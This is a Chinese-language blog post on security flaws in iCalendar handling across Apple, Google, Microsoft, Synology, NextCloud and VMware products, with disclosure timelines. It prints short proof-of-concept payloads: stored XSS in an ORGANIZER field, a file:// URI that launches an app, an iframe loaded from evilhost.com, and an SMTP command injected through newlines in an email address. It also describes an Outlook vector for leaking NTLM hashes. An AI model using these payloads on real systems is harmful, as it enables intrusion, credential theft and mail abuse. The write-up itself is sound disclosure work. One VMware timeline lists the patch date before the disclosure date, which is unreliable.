企业应用中的iCalendar属性漏洞利用全解析

本文深入分析了iCalendar标准在企业应用中的安全漏洞,包括XSS、SMTP命令注入、自定义URI执行等攻击向量,覆盖Apple Calendar、Google Calendar、Microsoft Outlook等多个主流产品的漏洞案例和修复时间线。

企业应用中的iCalendar属性漏洞利用

iCalendar:小标准大问题

iCalendar标准诞生于1998年,旨在解决企业日历软件互操作性问题。尽管RFC 5545(2009)和RFC 7986(2016)不断完善该标准,但其最初设计并未充分考虑现代安全隐私问题。随着远程办公兴起,每天有数百万应用和设备交换iCalendar文件,安全问题日益凸显。

默认危险的标准功能

VALARM组件的安全风险

iCalendar的VEVENT组件可包含多个VALARM组件,定义事件提醒。RFC 5545允许以下三种动作类型:

  • AUDIO:播放声音提醒,ATTACH属性指向音频文件
  • DISPLAY:向用户显示DESCRIPTION属性的文本内容
  • EMAIL:向ATTENDEE属性指定的地址发送邮件,DESCRIPTION为正文,SUMMARY为主题,ATTACH添加附件

这些功能在不当实现中可能造成严重安全风险。例如,EMAIL报警可在受害者不知情下自动发送带附件的邮件,AUDIO报警可从远程位置打开任意文件。

RFC 5545建议实现时应谨慎处理来自不可信源的报警组件,但这并非强制要求。Apple Calendar甚至支持已弃用的PROCEDURE报警类型,可使用启动服务打开任意文件。

标准RFC属性的不安全实现

VMware Boxer DESCRIPTION属性XSS

VMware Boxer iOS客户端21.11版本(2021年12月)为DESCRIPTION字段添加富文本显示功能,但未考虑安全 implications,导致存储型XSS漏洞。攻击者可结合深度链接启动不需要的应用程序和操作。

披露时间线

  • 2022-06-02:初始披露
  • 2022-07-02:确认接收
  • 2022-02-23:安全公告和补丁(CVE-2022-22944)

Synology Calendar ATTENDEE/ORGANIZER属性XSS

即使正确实现,对特定字段的天真假设也会导致漏洞。Synology Calendar正确解析了ORGANIZER和ATTENDEE值的mailto:前缀,但未对实际地址进行清理,在显示来宾列表时产生存储型XSS漏洞。

利用代码示例

1
2
3
4
ORGANIZER;PARTSTAT=ACCEPTED;ROLE=CHAIR:mailto:
<iframe srcdoc="<script src='data&#x3a;text/javascript,alert
(`${document.domain} hacked by spaceraccoon`)'></script>"></iframe>
@test.local

披露时间线

  • 2022-03-20:初始披露
  • 2022-03-20:确认接收
  • 2022-05-17:初始公开
  • 2022-07-12:漏洞细节披露(CVE-2022-22682)

Apple Calendar DESCRIPTION属性自定义URI

Apple Calendar在DESCRIPTION中嵌入特定格式的FaceTime通话链接,但攻击者可将良性FaceTime URL替换为非HTTPS URI(包括file://、ftp://等),可能导致任意代码执行。

利用代码示例

1
2
3
DESCRIPTION: ----( FaceTime )----\n[FaceTime]\nFiLe://
/System/Applications/Calculator.app
\n---===---

披露时间线

  • 2022-01-27:初始披露
  • 2022-01-27:确认接收
  • 2022-05-16:安全公告和补丁(macOS Monterey 12.4)

Apple Calendar ATTACH属性自动下载

Apple Calendar自动下载任何URI值为*.icloud.com的ATTACH,无论iCloud文件所有者是谁,可在无用户交互下传递恶意负载。同时支持重定向,结合*.icloud.com上的开放重定向可实现去匿名化攻击。

易受攻击的专有扩展

历史Microsoft Outlook专有属性

Microsoft Outlook早期充分利用非标准属性进行差异化,如NetMeeting的X-MS-OLK-AUTOSTARTCHECK和X-MS-OLK-COLLABORATEDOC属性,可自动启动会议和打开Office文档。虽然最初是功能,但现在被视为严重漏洞。

Microsoft Outlook X-MS-OLK-MWSURL属性自定义URI

当前版本Outlook不再支持许多专有属性,但这些属性在遗留代码中仍然存在。X-MS-OLK-MWSURL属性仍可在提醒弹出窗口中激活"查看会议工作区"选项,可启动任何自定义URI(包括SMB共享),是泄露Net-NTLMv2哈希的标准向量。

披露时间线

  • 2022-01-28:初始披露
  • 2022-01-28:确认接收
  • 2022-01-31:分类处理
  • 2022-02-23:验证并解决

Google Calendar X-GOOGLE-CALENDAR-CONTENT-*属性任意iframe

Google Calendar的X-GOOGLE-CALENDAR-CONTENT-*属性生成Google Calendar小工具(事件弹出窗口中的iframe小部件)。虽然Google在2018年弃用此功能,但小工具在嵌入式经典版Google Calendar中仍然有效,攻击者可嵌入任意iframe和图标进行去匿名化或弹出JavaScript钓鱼提示。

利用代码示例

1
2
3
X-GOOGLE-CALENDAR-CONTENT-ICON: https://a.com
X-GOOGLE-CALENDAR-CONTENT-URL: https://evilhost.com/exploit.html
X-GOOGLE-CALENDAR-CONTENT-TYPE: text/html

披露时间线

  • 2022-02-28:初始披露
  • 2022-02-28:确认接收
  • 2022-03-01:分类处理
  • 2022-03-03:接受
  • 2022-03-23:奖励奖金

二进制编码的Apple Calendar专有属性

Apple Calendar添加了专有的二进制格式属性,如X-APPLE-STRUCTURED-DATA包含base64编码的二进制属性列表数据(以bplist00开头),使用NSKeyedArchiver plist格式。这些未文档化的格式是模糊测试和进一步研究的有趣目标。

与SMTP和CalDAV的交互

NextCloud Calendar ORGANIZER属性SMTP命令注入

通过在ATTENDEE和ORGANIZER电子邮件中插入换行符,发现日历邀请的自动电子邮件响应导致NextCloud Calendar中的SMTP命令注入。第一个漏洞实例发生在预约功能中,第二个实例通过iCalendar文件附件在电子邮件收件箱中发生。

利用代码示例

1
ORGANIZER;CN=Normal User: mailto:janedoe(\nEHLO a\n)@example.com

披露时间线

  • 2022-03-19:初始披露
  • 2022-03-19:确认接收
  • 2022-03-21:分类处理
  • 2022-03-23:验证并解决
  • 2022-04-12:初始安全公告和补丁(CVE-2022-24838)
  • 2022-06-01:初始安全公告和补丁(CVE-2022-31014)

未来展望与建议

尽管最初目标是互操作性,供应商越来越多地试图借助iCalendar标准引入自己的专有功能。一个一致的趋势是供应商完全用自己专有的API取代iCalendar(以及扩展的CalDAV)。

开发者应在设计和实现方面加强现有标准:

  1. 通过集中客户端和服务器库解决"一个标准,多种解释"问题
  2. 避免不必要的专有标准扩展
  3. 通过贡献开源iCalendar库保护整个生态系统

安全研究人员无疑会在iCalendar标准的不一致应用中发现许多错误。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计